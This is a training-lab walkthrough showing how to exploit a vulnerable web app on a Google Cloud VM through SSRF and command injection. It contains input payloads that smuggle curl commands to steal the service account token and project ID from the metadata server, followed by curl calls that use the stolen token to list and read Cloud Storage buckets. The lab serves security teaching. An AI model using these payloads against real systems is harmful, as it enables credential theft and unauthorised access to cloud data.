Google Credentials and Token Extraction

Introduction

Cloud service providers have used this need of running applications as micro services to build out managed services that are owned and operated by the service providers but with the data provided by the customer. From a hacker point of view, new attack surfaces have replaced older easier ones. The access between different microservices and the flow of data and commands is completely transparent to the user (and the attacker). It is therefore, an interesting (and often sought after) hacker objective to escalate privileges within the cloud and to escape to the cloud layer so that access to these other micro services and their data is obtained.

What we are going to cover?

We will attack the web application instance that we just deployed to gain access to service account tokens that can be reused within Google Cloud to access other resources.

Steps to attack

The application deployed on this VM fetches the HTTP headers of a URL/domain that is provided. Based on how this is implemented, apps like these can become vulnerable to Server Side Request Forgeries (SSRF) or even a full blown command execution issues.

Testing for Server Side Request Forgery (SSRF)

  • Provide a standard expected input like appsecco.com or facebook.com and see that headers are being retrieved

  • Make a request to the Instance Metadata Server (IMDS) of Google VM instances at 169.254.169.254 - http://169.254.169.254. Notice the response HTTP Status Code and the presence of the Metadata-Flavor response headers.

Why do you think the server returns a 405 Method Not Allowed?

Two things to quickly note here

  1. Google internally resolves metadata.google.internal to 169.254.169.254, so you can use the FQDN instead of the IP address

  2. The non alpha variant of Google IMDS requires a header called Metadata-Flavor:Google to be passed to the endpoint to extract any meaningful data

Using command injection to exfiltrate IMDS

  • A payload of appsecco.com;whoami will confirm the presence of a vanilla command injection

whoami
  • As the app is vulnerable to command injection, we can issue cURL commands to send HTTP requests with headers and fetch information from the IMDS endpoint in Google VMs.

  • The following 2 inputs can be used as examples

  • appsecco.com;curl http://metadata.google.internal/

  • appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/

A quick win for attackers at this point is to extract the service account token and scope (similar to how we attacked AWS IMDS) to gain access to other resources in Google Cloud

  • appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

create a auth token to access other Google cloud services
  • appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

defined scope

This cloud-platform scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions, as long as the default service account tied to the machine has been given permissions.

A quick and documented feature to dump the entire folders under IMDS endpoints is to use recursive=true as a parameter in the request - http://metadata.google.internal/computeMetadata/v1/?recursive=true

Apart from the token, the project name is also required. This can be obtained using the following input (notice the missing / at the end as it is an object and not a directory).

  • appsecco.com;curl -H "Metadata-Flavor:Google" http://metadata.google.internal/computeMetadata/v1/project/project-id

Abusing extracted tokens

Once, the token is accessed, let's try and use the token to escape to other resources within the Google Cloud Platform.

  • First export the token by exporting a local terminal variable as shown in the figure below

export token
  • You can verify the scope of the token using a REST API call as shown below. This is useful when the token is generated outside of the SSRF and you need to see what scope it has

  • curl -H "Authorization: Bearer $gcp_token" https://oauth2.googleapis.com/tokeninfo

  • With the configured token, let's attempt to access Google Storage service. Run the below cURL command to list buckets within the current project. (Run this from terminal and not the web browser).

  • curl -s "https://storage.googleapis.com/storage/v1/b?project=<project-name>&access_token=$gcp_token"

    listing the cloud storage
  • Individual files from buckets can then be enumerated and downloaded as well. Use the below cURL command to do this

  • curl -s "https://storage.googleapis.com/storage/v1/b/<bucketname>/o?project=<project-name>&access_token=$gcp_token"

Listing storage contents

Additional Resources

Last updated